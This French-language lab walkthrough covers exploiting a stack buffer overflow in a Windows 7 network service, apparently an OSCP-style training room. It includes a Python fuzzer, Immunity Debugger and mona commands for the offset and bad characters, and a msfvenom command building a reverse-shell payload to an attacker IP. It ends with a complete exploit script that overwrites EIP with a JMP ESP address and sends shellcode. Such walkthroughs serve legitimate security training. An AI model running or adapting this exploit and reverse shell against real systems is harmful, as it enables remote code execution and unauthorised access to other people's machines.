AVEC IMMUNITY DEBUGGER ET MONA :

https://www.immunityinc.com/products/debugger

https://github.com/corelan/mona


Dans immunity on créer un nouveau workspace :

!mona config -set workingfolder c:\mona\%p

On fuzz le binaire pour trouver l’offset qui créera le segfault :

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.124.101"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Suivant le nombre de caractères requis pour planter le binaire, on crée une chaine pour trouver l’offset exact avec msf_pattern_create :

msf-pattern_create -l 2400

On prend un template d’exploit et on ajoute notre pattern en tant que payload pour détecter le segfault :

import socket

ip = "10.10.124.101"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa[......]A0aA1A"   # pattern généré par msf
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

On lance l’exploit, ça fait planter le binaire.

On cherche dans immunity les valeurs d’EIP avec notre longueur exacte de pattern :

!mona findmsp -distance 2400
ici l’offset est à 1978 (OFFSET de EIP)

On connait l’offset, maintenant faut vérifier les badchars.

Dans immunity on génère un tableau de badchars avec mona :

!mona bytearray -b "\x00"

En python on génère une chaine de badchars qu’on utilisera en tant que payload :

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')


Résultat :
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

On exécute notre exploit avec les badchars en tant que payload, ça fait planter, et donc ensuite dans immunity on compare nos badchars avec ceux générés par mona.

Pour ça on utilise l’adresse de ESP après le plantage :

!mona compare -f C:\mona\oscp\bytearray.bin -a 017AFA30
ici l’adresse d’ESP est 017AFA30

On obtient les badchars suivants :

On génère un shellcode avec metasploit en excluant les badchars :

msfvenom -p windows/shell_reverse_tcp LHOST=10.8.175.165 LPORT=9999 -b "00\x01\x02\x03\x04\x07\x08\x2e\x2f\xa0\xa1" -f py

On remplace notre payload par notre shellcode dans notre fichier d’exploitation python.

On recherche dans immunity avec mona ou est ce qu’on peut jumper pour exécuter notre shellcode :

!mona jmp -r esp -cpb "00\x01\x02\x03\x04\x07\x08\x2e\x2f\xa0\xa1"

On inscrit une des adresses en tant que return address en little indian et on rajoute quelques NOPS :

retn = "\xd3\x11\x50\x62"
padding = "\x90" * 16

On exécute notre payload et on récupère le reverse shell :

si besoin, les fichiers pour s’amuser :

La machine vulnérable était un Windows 7 en 64 bits sans protection

Le code d’exploitation complet :

import socket

ip = "10.10.124.101"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
# adresse copiee depuis immunity 625011D3
retn = "\xd3\x11\x50\x62"
padding = "\x90" * 16
payload = "\x31\xc9\x83\xe9\xaf\xe8[....]\x83\xe9\xaf"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  print(str(buffer))
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")